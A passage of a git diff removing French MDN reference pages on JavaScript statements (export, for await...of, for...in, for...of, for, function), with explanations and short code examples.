Si on souhaite n'exporter qu'une seule valeur ou avoir une valeur de secours pour le module, on peut utiliser un export par défaut :

- -
// module "mon-module.js"
-export default function cube(x) {
-  return x * x * x;
-}
-
- -

Alors, dans un autre script, il sera facile d'importer l'export par défaut :

- -
import cube from './mon-module.js';
-console.log(cube(3)); // 27
-
- -

Notez qu'il n'est pas possible d'utiliser var, let ou const avec export default.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('ES2015', '#sec-exports', 'Exports')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-exports', 'Exports')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.export")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/instructions/for-await...of/index.html b/files/fr/web/javascript/reference/instructions/for-await...of/index.html deleted file mode 100644 index b30668c61c..0000000000 --- a/files/fr/web/javascript/reference/instructions/for-await...of/index.html +++ /dev/null @@ -1,142 +0,0 @@ ---- -title: for await...of -slug: Web/JavaScript/Reference/Instructions/for-await...of -tags: - - Instruction - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Statements/for-await...of ---- -
{{jsSidebar("Statements")}}
- -

L'instruction for await...of permet de créer une boucle qui parcourt les objets itérables asynchrones de la même façon qu'on parcourt les itérables synchrones (tels que les chaînes de caractères ({{jsxref("String")}}), les tableaux {{jsxref("Array")}}, les objets semblables aux tableaux comme {{jsxref("Fonctions/arguments", "arguments")}} ou {{domxref("NodeList")}}), {{jsxref("TypedArray")}}, {{jsxref("Map")}}, {{jsxref("Set")}}. Cette instruction invoque un mécanisme d'itération spécifique et les instructions à exécuter pour chaque propriété de l'objet.

- - - -

Syntaxe

- -
for await (variable of iterable) {
-  instruction
-}
-
- -
-
variable
-
À chaque itération, la valeur d'une propriété différente est affectée à variable. Cette variable peut être déclarée avec const, let ou var.
-
iterable
-
Un objet pour lequel on parcourt les propriétés itérables.
-
- -

Exemples

- -

Parcourir des itérables asynchrones

- -
var asyncIterable = {
-  [Symbol.asyncIterator]() {
-    return {
-      i: 0,
-      next() {
-        if (this.i < 3) {
-          return Promise.resolve({ value: this.i++, done: false });
-        }
-
-        return Promise.resolve({ done: true });
-      }
-    };
-  }
-};
-
-(async function() {
-   for await (let num of asyncIterable) {
-     console.log(num);
-  }
-})();
-// 0
-// 1
-// 2
-
- -

Parcourir des générateurs asynchrones

- -

Les générateurs asynchrones implémentent le protocole d'itérateur asynchrone et on peut donc les parcourir avec for await...of:

- -
async function* asyncGenerator() {
-  var i = 0;
-  while (i < 3) {
-    yield i++;
-  }
-}
-
-(async function() {
-  for await (let num of asyncGenerator()) {
-    console.log(num);
-  }
-})();
-// 0
-// 1
-// 2
- -

Pour prendre un exemple plus concret, on peut parcourir les données fournies par une API avec un générateur asynchrone grâce à for await... of. Dans cet exemple, on commence par créer un itérateur asynchrone à partir d'un flux de données puis on utilise cet itérateur et for await...of afin de calculer la taille de la réponse fournie par l'API :

- -
async function* streamAsyncIterator(stream) {
-  const reader = stream.getReader();
-  try {
-    while (true) {
-      const { done, value } = await reader.read();
-      if (done) {
-        return;
-      }
-      yield value;
-    }
-  } finally {
-    reader.releaseLock();
-  }
-}
-// On récupère les données d'une URL et
-// on calcule la taille de la réponse
-// avec un générateur asynchrone
-async function getResponseSize(url) {
-  const response = await fetch(url);
-  // La taille de la réponse, exprimée en octets.
-  let responseSize = 0;
-  // La boucle for-await-of qui parcourt, de façon asynchrone,
-  // chaque portion de la réponse.
-  for await (const chunk of streamAsyncIterator(response.body)) {
-    responseSize += chunk.length;
-  }
-
-  console.log(`Taille de la réponse : ${responseSize} octets`);
-  return responseSize;
-}
-getResponseSize('https://jsonplaceholder.typicode.com/photos');
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'ECMAScript Language: The for-in, for-of, and for-await-of Statements')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.for_await_of")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/for...of")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/for...in/index.html b/files/fr/web/javascript/reference/instructions/for...in/index.html deleted file mode 100644 index a9bf4ad8b0..0000000000 --- a/files/fr/web/javascript/reference/instructions/for...in/index.html +++ /dev/null @@ -1,159 +0,0 @@ ---- -title: for...in -slug: Web/JavaScript/Reference/Instructions/for...in -tags: - - Instruction - - JavaScript - - Reference - - Statement -translation_of: Web/JavaScript/Reference/Statements/for...in ---- -
{{jsSidebar("Statements")}}
- -

L'instruction for...in permet d'itérer sur les propriétés énumérables d'un objet qui ne sont pas des symboles. Pour chaque propriété obtenue, on exécute une instruction (ou plusieurs grâce à un {{jsxref("Instructions/bloc","bloc","",1)}} d'instructions).

- -
{{EmbedInteractiveExample("pages/js/statement-forin.html")}}
- - - -

Syntaxe

- -
for (variable in objet) {
-  instructions
-}
- -
-
variable
-
Un nom de propriété différent est assigné à la variable à chaque itération de la boucle.
-
objet
-
L'objet dont les propriétés énumérables et qui ne sont pas des symboles sont parcourues par la boucle.
-
- -

Description

- -

Une boucle for...in ne parcourt que les propriétés énumérables et qui ne sont pas des symboles. Les objets qui ont été créés par des constructeurs intégrés comme Array et Object ont hérité de propriétés non énumérables de Object.prototype et String.prototype comme les méthodes {{jsxref("String.prototype.indexOf","indexOf()")}} du type {{jsxref("String")}} ou {{jsxref("Object.prototype.toString","toString()")}} depuis {{jsxref("Object")}}. La boucle parcourera toutes les propriétés énumérables de l'objet et aussi celles dont il hérite du prototype du constructeur (les propriétés les plus proches de l'objet dans la chaîne des prototypes primeront sur les propriétés des prototypes).

- -

Les propriétés ajoutées, modifiées ou supprimées

- -

Une boucle for...in parcourt les propriétés d'un objet dans un ordre arbitraire (voir l'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}} pour plus d'explications quant à l'impossibilité de se fier à un tel ordre, au moins dans le cas où on souhaite gérer plusieurs navigateurs).

- -

Si une propriété est modifiée dans une des itérations de la boucle et que la boucle itère ensuite sur cette propriété, sa valeur sera celle qui a été modifiée. Une propriété qui a été supprimée avant que la boucle n'itère sur celle-là ne sera pas dans la boucle. Les propriétés qui ont été ajoutées à l'objet pendant la boucle peuvent être ou ne pas être pris en compte.

- -

Une bonne pratique consiste à ne pas ajouter, modifier ou supprimer une propriété d'un objet lors d'une itération qui ne concerne pas cette propriété. Il n'y a aucune certitude concernant la prise en compte d'une propriété ajoutée lors d'une telle boucle et il en va de même pour savoir si on a visité une propriété avant ou après qu'elle ait été modifiée ou de savoir si une itération de la boucle concernera une propriété avant que celle-ci soit supprimée.

- -

Utiliser for...in et parcourir un tableau

- -
-

Note : for...in ne doit pas être utilisée pour parcourir un {{jsxref("Array")}} lorsque l'ordre des éléments est important.

-
- -

Les éléments des indices d'un tableau sont des propriétés énumérables dont les noms sont des entiers, excepté cela, elles sont en tout point identiques aux propriétés des objets en général. Ici aussi, il n'y a aucune certitude que for...in renvoie les indices dans un ordre particulier. Cette instruction listera également les propriétés énumérables dont les noms ne sont pas des entiers et celles qui sont héritées.

- -

L'ordre dans lequel le parcours est effectué dépend de l'implémentation. Dans le cas d'un parcours de tableau utilisant for...in, on pourrait très bien avoir un ordre qui ne soit pas le même entre les différents environnements. Pour cette raison, il est préférable d'utiliser une boucle {{jsxref("Instructions/for","for")}} utilisant un compteur numérique (ou {{jsxref("Array.prototype.forEach","Array.forEach()")}} ou encore {{jsxref("Instructions/for...of","for...of")}}) lorsqu'on souhaite parcourir des tableaux dans un ordre bien défini.

- -

Itérer uniquement sur les propriétés non héritées

- -

Si on souhaite ne parcourir que les propriétés propres d'un objet et pas celles rattachées à ses prototypes, on peut utiliser la méthode {{jsxref("Object.getOwnPropertyNames()")}} ou bien effectuer un test grâce à la méthode {{jsxref("Object.prototype.hasOwnProperty()")}} voire avec {{jsxref("Object.prototype.propertyIsEnumerable()")}}

- -

Exemples

- -

La boucle for...in qui suit utilise parcourt l'objet obj et ses propriétés énumérables qui ne sont pas des symboles en fournissant la chaîne de caractères qui décrit le nom de la propriété et sa valeur.

- -
var obj = {a:1, b:2, c:3};
-
-for (var prop in obj) {
-  console.log(`obj.${prop} = ${obj[prop]}`);
-}
-
-// Affiche dans la console :
-// "obj.a = 1"
-// "obj.b = 2"
-// "obj.c = 3"
- -

La fonction qui suit utilise {{jsxref("Object.hasOwnProperty", "hasOwnProperty()")}} pour ne pas afficher les propriétés héritées :

- -
var triangle = {a:1, b:2, c:3};
-
-function TriangleCouleur() {
-  this.couleur = "rouge";
-}
-
-TriangleCouleur.prototype = triangle;
-
-var obj = new TriangleCouleur();
-
-for (var prop in obj) {
-  if( obj.hasOwnProperty( prop ) ) {
-    console.log(`obj.${prop} = ${obj[prop]}`);
-  }
-}
-
-// Affichera dans la console :
-// "obj.couleur = rouge"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1', '#sec-12.6.3', 'for...in statement')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-12.6.4', 'for...in statement')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...in statement')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...in statement')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.for_in")}}

- -

Expressions avec initialisateur

- -

Avant SpiderMonkey 40 {{geckoRelease(40)}}, il était possible d'utiliser un initialisateur (i=0) dans un boucle for...in :

- -
var obj = {a:1, b:2, c:3};
-for(var i=0 in obj) {
-  console.log(obj[i]);
-}
-// 1
-// 2
-// 3
-
- -

Ce comportement non-standard a été retiré avec la version 40. Cela provoquera désormais une exception {{jsxref("SyntaxError")}} ("for-in loop head declarations may not have initializers") en mode strict (cf. {{bug(748550)}} et {{bug(1164741)}}).

- -

Les autres moteurs, tels que v8 (Chrome), Chakra (IE/Edge) et JSC (WebKit/Safari) recherchent également comment retirer ce comportement non standard.

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/for...of","for...of")}} : une instruction semblable qui permet d'itérer sur les valeurs des propriétés
    • -
  • {{jsxref("Instructions/for","for")}}
    • -
  • Le rattachement et le caractère énumérable des propriétés
    • -
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • -
  • {{jsxref("Object.prototype.hasOwnProperty()")}}
    • -
  • {{jsxref("Array.prototype.forEach()")}}
    • -
  • {{jsxref("Instructions/for_each...in", "for each...in")}} {{deprecated_inline}} : une instruction semblable, dépréciée, qui parcourt les valeurs des propriétés d'un objet plutôt que les noms.
    • -
diff --git a/files/fr/web/javascript/reference/instructions/for...of/index.html b/files/fr/web/javascript/reference/instructions/for...of/index.html deleted file mode 100644 index 0fc7deb1f6..0000000000 --- a/files/fr/web/javascript/reference/instructions/for...of/index.html +++ /dev/null @@ -1,316 +0,0 @@ ---- -title: for...of -slug: Web/JavaScript/Reference/Instructions/for...of -tags: - - ECMAScript 2015 - - Instruction - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Statements/for...of ---- -
{{jsSidebar("Statements")}}
- -

L'instruction for...of permet de créer une boucle {{jsxref("Array")}} qui parcourt un {{jsxref("Les_protocoles_iteration","objet itérable","#Le_protocole_.C2.AB_it.C3.A9rable_.C2.BB",1)}} (ce qui inclut les objets {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("String")}}, {{jsxref("TypedArray")}}, l'objet {{jsxref("Fonctions/arguments","arguments")}}, etc.) et qui permet d'exécuter une ou plusieurs instructions pour la valeur de chaque propriété.

- -
{{EmbedInteractiveExample("pages/js/statement-forof.html")}}
- - - -

Syntaxe

- -
for (variable of iterable)
-  instruction
-
- -
-
variable
-
À chaque itération, la valeur d'une propriété différente est affectée à variable (cette variable peut être déclarée avec const, let ou var).
-
iterable
-
L'objet dont on parcourt les propriétés énumérables.
-
instruction
-
Une instruction à exécuter pour chaque propriété, cette instruction peut être composée de plusieurs instructions en utilisant un {{jsxref("Instructions/bloc","bloc","",1)}} d'instructions.
-
- -

Exemples

- -

Utiliser for...of sur un tableau

- -
let tableauItérable = [1, 2, 3];
-
-for (let valeur of tableauItérable) {
-  console.log(valeur);
-}
-// 1
-// 2
-// 3
- -

Si la variable n'est pas réaffectée dans la boucle, on pourra également utiliser const à la place de let :

- -
let tableauItérable = [1, 2, 3];
-
-for (const valeur of tableauItérable) {
-  console.log(valeur);
-}
-// 1
-// 2
-// 3
- -

Parcourir une chaîne de caractères avec for...of

- -
let iterable = 'pixel';
-
-for (let valeur of iterable) {
-  console.log(valeur);
-}
-// p
-// i
-// x
-// e
-// l
- -

Parcourir un tableau typé ({{jsxref("TypedArray")}})

- -
let iterable = new Uint8Array([0x00, 0xff]);
-
-for (let valeur of iterable) {
-  console.log(valeur);
-}
-// 0
-// 255
- -

Parcourir une {{jsxref("Map")}}

- -
let iterable = new Map([['a', 1], ['b', 2], ['c', 3]]);
-
-for (let element of iterable) {
-  console.log(element);
-}
-// ['a', 1]
-// ['b', 2]
-// ['c', 3]
-
-for (let [clef, valeur] of iterable) {
-  console.log(valeur);
-}
-// 1
-// 2
-// 3
- -

Utiliser Array.prototype.forEach()

- -

Pour obtenir les mêmes valeurs qu'avec une boucle for...of, on peut utiliser la méthode {{jsxref("Array.prototype.forEach()")}} :

- -
let arr = [3, 5, 7];
-arr.toto = "coucou";
-
-arr.forEach(function (element, index) {
-  console.log(element); // affiche "3", "5", "7"
-  console.log(index);  // affiche "0", "1", "2"
-});
-
-// ou avec Object.keys()
-
-Object.keys(arr).forEach(function (element, index) {
-  console.log(arr[element]); // affiche "3", "5", "7", "coucou"
-  console.log(arr[index]);  // affiche "3", "5", "7", undefined
-});
- -

Parcourir l'objet arguments

- -

Il est possible de parcourir l'objet {{jsxref("Fonctions/arguments", "arguments")}} afin d'examiner l'ensemble des paramètres passés à la fonction :

- -
(function() {
-  for (let argument of arguments){
-    console.log(argument);
-  }
-})(1, 2, 3);
-
-// 1
-// 2
-// 3
-
- -

Parcourir des collections DOM

- -

Il est possible de parcourir des collections DOM telles que {{domxref("NodeList")}}. Dans cet exemple, on ajoute une classe read aux paragraphes qui sont des descendants directs d'un article :

- -
// Note : Cela ne fonctionnera que pour les plates-formes
-// qui implémentent NodeList.prototype[Symbol.iterator]
-let articleParagraphs = document.querySelectorAll("article > p");
-
-for (let paragraph of articleParagraphs) {
-  paragraph.classList.add("read");
-}
-
- -

Clôturer les itérateurs

- -

Dans les boucles for...of, on peut provoquer la fin de l'itérateur avec break, continue, throw, ou return. Dans ces cas, l'itérateur est fermé.

- -
function* toto() {
-  yield 1;
-  yield 2;
-  yield 3;
-};
-
-for (let o of toto()) {
-  console.log(o);
-  break; // L'itérateur est fermé
-}
-
- -

Itérer sur les générateurs

- -

Grâce à cette instruction, on peut également itérer sur les {{jsxref("Instructions/function*","générateurs","",1)}} :

- -
function* fibonacci() { // une fonction génératrice
-  let [prev, curr] = [0, 1];
-  while (true) {
-    [prev, curr] = [curr, prev + curr];
-    yield curr;
-  }
-}
-
-for (let n of fibonacci()) {
-  console.log(n);
-  // on arrête la séquence à 1000
-  if (n >= 1000){
-    break;
-  }
-}
-
- -

Itérer sur les autres objets itérables

- -

Il est aussi possible d'itérer sur un objet qui implémente le protocole itérable de façon explicite :

- -
var iterable = {
-  [Symbol.iterator]() {
-    return {
-      i: 0,
-      next() {
-        if (this.i < 3) {
-          return { value: this.i++, done: false };
-        }
-        return { value: undefined, done: true };
-      }
-    };
-  }
-};
-
-for (let value of iterable) {
-  console.log(value);
-}
-console.log("fini !");
-// 0
-// 1
-// 2
- -

Les différences entre for...of et for...in

- -

Les deux instructions for...in et for...of permettent de parcourir un ensemble. Mais elles ne parcourent pas le même ensemble.

- -

L'instruction {{jsxref("Instructions/for...in", "for...in")}} permet de parcourir les propriétés énumérables d'un objet dans un ordre arbitraire.

- -

L'instruction for...of permet quant à elle de parcourir les données contenues dans l'objet itérable visé.

- -

Dans l'exemple qui suit, on illustre la différence de comportement entre une boucle for...of et une boucle for...in utilisées sur un tableau ({{jsxref("Array")}}).

- -
Object.prototype.objCustom = function() {};
-Array.prototype.arrCustom = function() {};
-
-let iterable = [3, 5, 7];
-iterable.toto = 'coucou';
-
-for (let i in iterable) {
-  console.log(i); // affiche 0, 1, 2, "toto",
-                  // "arrCustom", "objCustom"
-}
-
-for (let i in iterable) {
-  if (iterable.hasOwnProperty(i)) {
-    console.log(i); // affiche 0, 1, 2, "toto"
-  }
-}
-
-for (let i of iterable) {
-  console.log(i); // affiche 3, 5, 7
-}
-
- -

Chaque objet héritera de la propriété objCustom et chaque objet qui est un tableau ({{jsxref("Array")}}) héritera de la propriété arrCustom car on les ajoute aux prototypes {{jsxref("Object.prototype")}} et {{jsxref("Array.prototype")}}. L'objet iterable hérite donc des propriétés objCustom et arrCustom grâce à l'héritage et à la chaîne de prototypes.

- -
for (let i in iterable) {
-  console.log(i); // affiche 0, 1, 2, "toto",
-                  // "arrCustom" et "objCustom"
-}
- -

Cette boucle ne parcourt que les propriétés énumérables de l'objet iterable dans un ordre arbitraire. Les éléments du tableau 3, 5, 7 ou hello ne sont pas affichés car ce ne sont pas des propriétés (et encore moins des propriétés énumérables). En revanche, on retrouve bien les indices du tableau et les propriétés arrCustom et objCustom. Pour décrire plus précisément ce comportement, vous pouvez consulter {{jsxref("Instructions/for...in", "for...in", "#/fr/docs/Web/JavaScript/Reference/Instructions/for...in#Utiliser_for...in_et_parcourir_un_tableau")}}.

- -
for (let i in iterable) {
-  if (iterable.hasOwnProperty(i)) {
-    console.log(i); // affiche 0, 1, 2, "toto"
-  }
-}
- -

Cette boucle ressemble à la première mais ajoute la méthode {{jsxref("Object.prototype.hasOwnProperty()", "hasOwnProperty()")}} qui permet de vérifier si la propriété énumérable recensée est directement disponible sur l'objet (c'est-à-dire si elle n'est pas héritée). La console affiche donc les propriétés 0, 1, 2 et toto car ce sont des propriétés directement rattachées à l'objet iterable. En revanche, les propriétés arrCustom et objCustom ne sont pas affichées car elles proviennent de l'héritage.

- -
for (let i of iterable) {
-  console.log(i); // affiche 3, 5, 7
-}
- -

Cette boucle parcourt les valeurs définies comme itérables par l'objet itérable et dans ce cas ce sont les éléments du tableau 3, 5, 7 et pas les propriétés de l'objet.

- -

Attention à ne pas réutiliser les générateurs

- -

Les générateurs ne doivent pas être réutilisés, même lorsque la boucle for...of a été interrompue (par exemple lorsque {{jsxref("Instructions/break","break")}} est utilisé). Lorsqu'on quitte une boucle, le générateur est clôturé et si on l'utilise à nouveau, il ne fournira aucun résultat. Firefox n'a pas encore implémenté ce comportement standard (cf. {{bug("1147371")}}).

- -
var gen = (function *(){
-  yield 1;
-  yield 2;
-  yield 3;
-})();
-for (let o of gen) {
-  console.log(o);
-  break; // L'itérateur est fermé
-}
-
-// Le générateur ne doit pas être réutilisé !
-for (let o of gen){
-  console.log(o); // Ceci n'est jamais exécuté
-}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-for-in-and-for-of-statements', 'instruction for...of')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'instruction for...of')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.for_of")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.forEach()")}}
    • -
  • {{jsxref("Map.prototype.forEach()")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/for/index.html b/files/fr/web/javascript/reference/instructions/for/index.html deleted file mode 100644 index ac60a49710..0000000000 --- a/files/fr/web/javascript/reference/instructions/for/index.html +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: for -slug: Web/JavaScript/Reference/Instructions/for -tags: - - Instruction - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Statements/for ---- -
{{jsSidebar("Statements")}}
- -

L'instruction for crée une boucle composée de trois expressions optionnelles séparées par des points-virgules et encadrées entre des parenthèses qui sont suivies par une instruction (généralement une instruction de bloc) à exécuter dans la boucle.

- -
{{EmbedInteractiveExample("pages/js/statement-for.html")}}
- - - -

Syntaxe

- -
for ([initialisation]; [condition]; [expression_finale])
-   instruction
-
- -

Paramètres

- -
-
initialisation
-
Une expression (pouvant être une expression d'affectation) ou une déclaration de variable. Cette expression est évaluée une fois avant que la boucle démarre. On utilise généralement une variable qui agit comme un compteur. Cette expression peut éventuellement déclarer de nouvelles variables avec le mot-clé var ou let. Les variables déclarées avec var se situent dans la même portée que la boucle for (elles ne sont pas locales au sein de la boucle), les variables déclarées avec let sont locales à la boucle. Le résultat de l'expression n'est pas utilisé.
-
condition
-
Une expression qui est évaluée avant chaque itération de la boucle. Si cette expression est vérifiée, l'instruction est exécutée. Ce test est optionnel. S'il n'est pas présent, la condition sera toujours vérifiée. Si l'expression n'est pas vérifiée (i.e. vaut false), l'exécution se poursuivra à la première expression qui suit la boucle for.
-
expression_finale
-
Une expression qui est évaluée à la fin de chaque itération. Cela se produit avant l'évaluation de l'expression condition. Cette expression est généralement utilisée pour mettre à jour ou incrémenter le compteur qu'est la variable d'initialisation.
-
instruction
-
Une instruction qui est exécutée tant que la condition de la boucle est vérifiée. Afin d'exécuter plusieurs instructions au sein d'une telle boucle, il faudra utiliser une instruction de bloc ({ ... }) qui regroupera ces différentes instructions.
-
- -

Exemples

- -

Utiliser for

- -

L'instruction for qui suit débute en déclarant la variable i et en l'initialisant à 0. Elle vérifie que i est inférieur (strictement) à 9 et exécute ensuite les deux instructions contenues dans la boucle, ensuite elle incrémente i de 1, ce qui sera fait à chaque passage dans la boucle.

- -
for (var i = 0; i < 9; i++) {
-   n += i;
-   myfunc(n);
-}
-
- -

Expressions optionnelles pour for

- -

Les trois expressions qui composent l'instruction for sont optionnelles :

- -

Par exemple, le bloc pour l'initialisation peut ne pas être utilisé :

- -
var i = 0;
-for (; i < 9; i++) {
-    console.log(i);
-    // d'autres instructions
-}
-
- -

De même que pour le bloc d'initialisation, l'expression de condition est optionnelle. Attention, si l'expression de condition n'est pas utilisée, il faut s'assurer d'interrompre la boucle et de ne pas créer une boucle infinie.

- -
for (var i = 0;; i++) {
-   console.log(i);
-   if (i > 3) break;
-   // d'autres instructions
-}
- -

Les trois blocs d'expressions peuvent être omis. Encore une fois, il faudra utiliser une instruction {{jsxref("Instructions/break")}} pour terminer la boucle. Si le test se fait sur un seuil, on veillera à incrémenter la variable pour que la condition d'arrêt modifiée soit respectée.

- -
var i = 0;
-
-for (;;) {
-  if (i > 3) break;
-  console.log(i);
-  i++;
-}
-
- -

Utiliser for avec une instruction vide

- -

L'instruction for qui suit calcule le décalage d'un nœud et le fait dans la section qui correspond à l'expression finale. Il n'y a donc aucun intérêt à ajouter une instruction ou un bloc d'instruction dans la boucle pour faire ce calcul.

- -
function showOffsetPos (sId) {
-  var nLeft = 0, nTop = 0;
-
-  for (var oItNode = document.getElementById(sId); oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);
-
-  console.log("Décalage de position : \"" + sId + "\" element:\n left: " + nLeft + "px;\n top: " + nTop + "px;");
-}
- -
Note : Dans cas, où on n'utilise pas la section d'instruction, il faut mettre un point-virgule immédiatement après la déclaration de la boucle.
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-for-statement', 'for statement')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-for-statement', 'instruction for')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.6.3', 'instruction for')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-12.6.3', 'instruction for')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-12.6.2', 'instruction for')}}{{Spec2('ES1')}}Définition initiale
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.for")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Instructions/break", "break")}}
    • -
  • {{jsxref("Instructions/continue", "continue")}}
    • -
  • {{jsxref("Instructions/vide", "Instruction vide","",1)}}
    • -
  • {{jsxref("Instructions/while", "while")}}
    • -
  • {{jsxref("Instructions/do...while", "do...while")}}
    • -
  • {{jsxref("Instructions/for...in", "for...in")}}
    • -
  • {{jsxref("Instructions/for...of", "for...of")}}
    • -
diff --git a/files/fr/web/javascript/reference/instructions/function/index.html b/files/fr/web/javascript/reference/instructions/function/index.html deleted file mode 100644 index d4faad9451..0000000000 --- a/files/fr/web/javascript/reference/instructions/function/index.html +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: function -slug: Web/JavaScript/Reference/Instructions/function -tags: - - JavaScript - - Reference - - Statement -translation_of: Web/JavaScript/Reference/Statements/function ---- -
{{jsSidebar("Statements")}}
- -

La déclaration function (ou l'instruction function) permet de définir une fonction et les paramètres que celle-ci utilise.

- -
{{EmbedInteractiveExample("pages/js/statement-function.html")}}
- - - -

Il est également possible de définir des fonctions en utilisant le constructeur {{jsxref("Function")}} et une {{jsxref("Opérateurs/L_opérateur_function", "expression de fonction","",1)}}.

- -

Syntaxe

- -
function nom([param1[, param2,[..., paramN]]]) {
-   [instructions]
-}
-
- -
-
nom
-
Le nom de la fonction.
-
- -
-
paramN
-
Le nom d'un argument à passer à la fonction. Une fonction peut avoir jusqu'à 255 arguments (cela peut varier en fonction des moteurs).
-
- -
-
instructions
-
Les instructions qui constituent le corps de la fonctio.
-
- -

Description

- -

Une fonction créée via une déclaration de fonction est un objet Function et possède toutes les caractéristiques (propriétés, méthodes et comportement) d'un objet Function. Voir la page {{jsxref("Function")}} pour plus d'informations sur ces caractéristiques.

- -

Une fonction peut également être créée en utilisant une expression (voir {{jsxref("Opérateurs/L_opérateur_function", "les expressions de fonctions","",1)}}).

- -

Par défaut, une fonction renvoie {{jsxref("undefined")}}. Pour renvoyer une autre valeur en résultat, une fonction doit utiliser une instruction {{jsxref("Instructions/return", "return")}} qui définit la valeur à retourner.

- -

Fonctions créées conditionnellement

- -

Il est possible de déclarer des fonctions de façon conditionnelle (c'est-à-dire qu'on peut placer une instruction de déclaration de fonction au sein d'une instruction if). La plupart des navigateurs, autres que ceux basés sur Gecko, traiteront cette déclaration conditionnelle comme si elle était inconditionnelle (que la condition souhaitée soit vérifiée ou non) (voir cet article (en anglais) pour un aperçu). Pour cette raison, les déclarations de fonctions ne devraient pas être utilisées pour créer des fonctions de façon conditionnelle. Pour ce faire, il faut privilégier les expressions de fonctions.

- -
var remontee = "toto" in this;
-console.log(`'toto' ${remontee ? "est" : "n'est pas"} remontée. typeof toto vaut ${typeof toto}`);
-if (false) {
-  function toto(){ return 1; }
-}
-
-// Pour Chrome:
-// 'toto' est remontée. typeof toto vaut undefined
-//
-// Pour Firefox:
-// 'toto' est remontée. typeof toto vaut undefined
-//
-// Pour Edge:
-// 'toto' n'est pas remontée. typeof toto vaut undefined
-//
-// Pour Safari:
-// 'toto' est remontée. typeof toto vaut function
-
- -

On obtient exactement les mêmes résultats si la condition est vérifiée (ici avec true) :

- -
var remontee = "toto" in this;
-console.log(`'toto' ${remontee ? "est" : "n'est pas"} remontée. typeof toto vaut ${typeof toto}`);
-if (true) {
-  function toto(){ return 1; }
-}
-
-// Pour Chrome:
-// 'toto' est remontée. typeof toto vaut undefined
-//
-// Pour Firefox:
-// 'toto' est remontée. typeof toto vaut undefined
-//
-// Pour Edge:
-// 'toto' n'est pas remontée. typeof toto vaut undefined
-//
-// Pour Safari:
-// 'toto' est remontée. typeof toto vaut function
- -

La « remontée » des déclarations de fonction

- -

Lorsqu'on utilise une déclaration de fonction pour créer une fonction, la définition de la fonction est « remontée ». Il devient donc possible d'utiliser la fonction avant de l'avoir déclarée :

- -
remontée(); // affiche "toto" dans la console
-
-function remontée() {
-  console.log("toto");
-}
-
- -

On notera que les {{jsxref("Opérateurs/L_opérateur_function", "expressions de fonctions","",1)}} ne sont pas remontées :

- -
nonRemontée(); // TypeError: nonRemontée is not a function
-
-var nonRemontée = function() {
-   console.log("truc");
-};
-
- -

Exemples

- -

Utiliser function

- -

Dans l'exemple qui suit, on déclare une fonction qui renvoie le total des ventes en fonction des nombres d'unités vendues pour les produits a, b, et c.

- -
function calc_ventes(nb_produits_a, nb_produits_b, nb_produits_c) {
-   return nb_produits_a*79 + nb_produits_b * 129 + nb_produits_c * 699;
-}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-function-definitions', 'Définition de fonction')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-13', 'Définition de fonction')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-13', 'Définition de fonction')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-13', 'Définition de fonction')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.statements.function")}}

- -

Voir aussi

